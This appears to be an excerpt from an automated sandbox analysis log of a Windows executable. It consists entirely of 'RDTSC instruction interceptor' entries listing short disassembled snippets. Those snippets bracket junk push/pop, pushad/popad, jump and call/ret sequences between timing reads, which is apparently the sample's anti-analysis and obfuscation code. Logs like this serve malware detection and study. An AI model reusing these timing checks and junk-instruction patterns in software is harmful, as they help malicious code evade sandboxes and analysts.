Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF1DE2 second address: CF1DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF1DE6 second address: CF1DEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF225D second address: CF2284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FE45D015356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jmp 00007FE45D015362h 0x00000016 popad 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF2284 second address: CF229F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FE45D011946h 0x0000000d jmp 00007FE45D01194Eh 0x00000012 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CE6196 second address: CE61A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE45D015356h 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF2D9A second address: CF2DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF2DA4 second address: CF2DEC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007FE45D015356h 0x00000015 jmp 00007FE45D015366h 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007FE45D015363h 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF2F51 second address: CF2F78 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007FE45D011946h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE45D011956h 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF3211 second address: CF3225 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE45D01535Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF3225 second address: CF322F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF322F second address: CF3251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FE45D015356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE45D015362h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF3251 second address: CF3257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF3257 second address: CF325F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF7F44 second address: CF7F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF80EA second address: CF80FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE45D01535Eh 0x0000000c rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF80FF second address: CF8103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF7117 second address: CF711D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CF94A5 second address: CF94BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007FE45D01194Eh 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CBB629 second address: CBB649 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FE45D015363h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CBB649 second address: CBB657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FE45D011946h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFFC3F second address: CFFC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFFC47 second address: CFFC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE45D011958h 0x0000000e rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFFC68 second address: CFFC81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01535Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFFC81 second address: CFFC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE45D011946h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE45D01194Dh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF0B2 second address: CFF0B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF0B8 second address: CFF0C5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE45D011948h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF247 second address: CFF263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D015366h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF80E second address: CFF82E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011954h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FE45D01194Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF946 second address: CFF94C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF94C second address: CFF952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF952 second address: CFF967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE45D015356h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FE45D015356h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF967 second address: CFF98B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jc 00007FE45D011946h 0x0000000f pop ebx 0x00000010 popad 0x00000011 jc 00007FE45D01195Eh 0x00000017 push edx 0x00000018 jng 00007FE45D011946h 0x0000001e push esi 0x0000001f pop esi 0x00000020 pop edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFF98B second address: CFF991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CFFAE0 second address: CFFAF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01194Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CC3C7B second address: CC3C9A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE45D015361h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CC3C9A second address: CC3C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D02768 second address: D0276C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0291D second address: D0292C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D01194Bh 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0292C second address: D02930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D02E92 second address: D02E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D031C5 second address: D031C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D031C9 second address: D031CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D031CF second address: D031E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE45D015363h 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D032AA second address: D032BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE45D011946h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D04A00 second address: D04A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FE45D01535Bh 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D04A12 second address: D04A1C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D04A1C second address: D04A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D04A22 second address: D04A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D04A26 second address: D04A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0504E second address: D0505F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007FE45D01194Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0592F second address: D05957 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jmp 00007FE45D015367h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D05957 second address: D0595B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0595B second address: D05985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push ecx 0x00000009 push eax 0x0000000a mov di, 0F66h 0x0000000e pop esi 0x0000000f pop edi 0x00000010 push 00000000h 0x00000012 mov si, 1866h 0x00000016 push 00000000h 0x00000018 mov edi, edx 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE45D01535Dh 0x00000022 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D069A1 second address: D069A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D069A5 second address: D069AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D069AB second address: D069B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D095B9 second address: D095BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D09FB4 second address: D09FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D09FBA second address: D0A035 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, dword ptr [ebp+122D37EDh] 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FE45D015358h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov dword ptr [ebp+12450D6Eh], eax 0x00000031 mov edi, dword ptr [ebp+122D2118h] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FE45D015358h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000015h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov dword ptr [ebp+1246EAFFh], esi 0x00000059 xchg eax, ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d jmp 00007FE45D015365h 0x00000062 pushad 0x00000063 popad 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0C1FC second address: D0C206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0C206 second address: D0C219 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c je 00007FE45D015356h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0C219 second address: D0C21E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D0CCD8 second address: D0CD15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015362h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov edi, 043E2551h 0x0000000f push 00000000h 0x00000011 pushad 0x00000012 xor bl, 00000010h 0x00000015 mov esi, 488E248Eh 0x0000001a popad 0x0000001b push 00000000h 0x0000001d mov si, 0509h 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jne 00007FE45D01535Ch 0x0000002a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D11222 second address: D1122D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE45D011946h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D121EE second address: D121F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D121F2 second address: D121F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D121F8 second address: D121FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D121FE second address: D12202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D154B7 second address: D154BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D154BB second address: D154CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jc 00007FE45D011948h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D18511 second address: D1852C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015365h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1852C second address: D18536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE45D011946h 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1AA5C second address: D1AA62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1AA62 second address: D1AA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1DAF8 second address: D1DAFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1EADD second address: D1EB51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FE45D011948h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1C73h], ecx 0x00000028 push 00000000h 0x0000002a jmp 00007FE45D011959h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007FE45D011948h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f js 00007FE45D011946h 0x00000055 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1EB51 second address: D1EB6E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FE45D01535Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1EB6E second address: D1EB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D1EB73 second address: D1EB79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2095A second address: D20969 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D20969 second address: D2097B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01535Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2097B second address: D20980 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2520F second address: D25230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007FE45D015356h 0x0000000e jno 00007FE45D015356h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 js 00007FE45D01536Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2A083 second address: D2A091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE45D01194Ah 0x00000009 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: D2A091 second address: D2A0A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE45D01535Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CC0647 second address: CC0678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011956h 0x00000007 jmp 00007FE45D011951h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CC0678 second address: CC0682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE45D015356h 0x0000000a rdtsc
Source: C:\Users\user\Documents\AEBKFIJEGC.exe	RDTSC instruction interceptor: First address: CC0682 second address: CC0686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
